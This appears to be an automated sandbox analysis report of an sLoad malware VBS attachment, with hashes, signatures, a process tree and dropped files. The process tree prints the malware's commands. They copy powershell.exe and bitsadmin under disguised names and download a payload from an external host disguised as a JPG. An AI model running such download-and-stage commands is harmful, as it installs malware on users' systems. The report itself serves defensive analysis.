Analysis

  • max time kernel
    33s
  • max time network
    69s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30-11-2020 14:04

General

  • Target

    Allegato_GRCPTR56P29G273X.vbs

  • Size

    6KB

  • MD5

    117b47e28ec75072e0b194c62747fe96

  • SHA1

    7a6afd4fde5ffed19dee9f039734feace7881b22

  • SHA256

    a068043f049b5b816f6880efd88254fd00603992cfaefd005813530e95d47061

  • SHA512

    ee098cb9c9a8585ecfa18be9b200523aab64b48ba5650629fd7a5d0923d0b86cae1d1e305a0ff187cde149a59f4450e5b7479da6dc415c8781f1ab3f2a253204

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_GRCPTR56P29G273X.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:884
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:496
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe
        3⤵
          PID:2508
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe
          3⤵
            PID:3712
        • C:\ProgramData\OsSlfIOin.exe
          "C:\ProgramData\OsSlfIOin.exe" /transfer tAdvfv /download https://estebankott.com/ordasum/GRCPTR56P29G273X/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg
          2⤵
          • Executes dropped EXE
          PID:3988

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\OsSlfIOin.exe
        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • C:\ProgramData\OsSlfIOin.exe
        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • memory/496-3-0x0000000000000000-mapping.dmp
      • memory/884-2-0x0000023345310000-0x0000023345314000-memory.dmp
        Filesize

        16KB

      • memory/2508-4-0x0000000000000000-mapping.dmp
      • memory/3712-5-0x0000000000000000-mapping.dmp
      • memory/3988-7-0x0000000000000000-mapping.dmp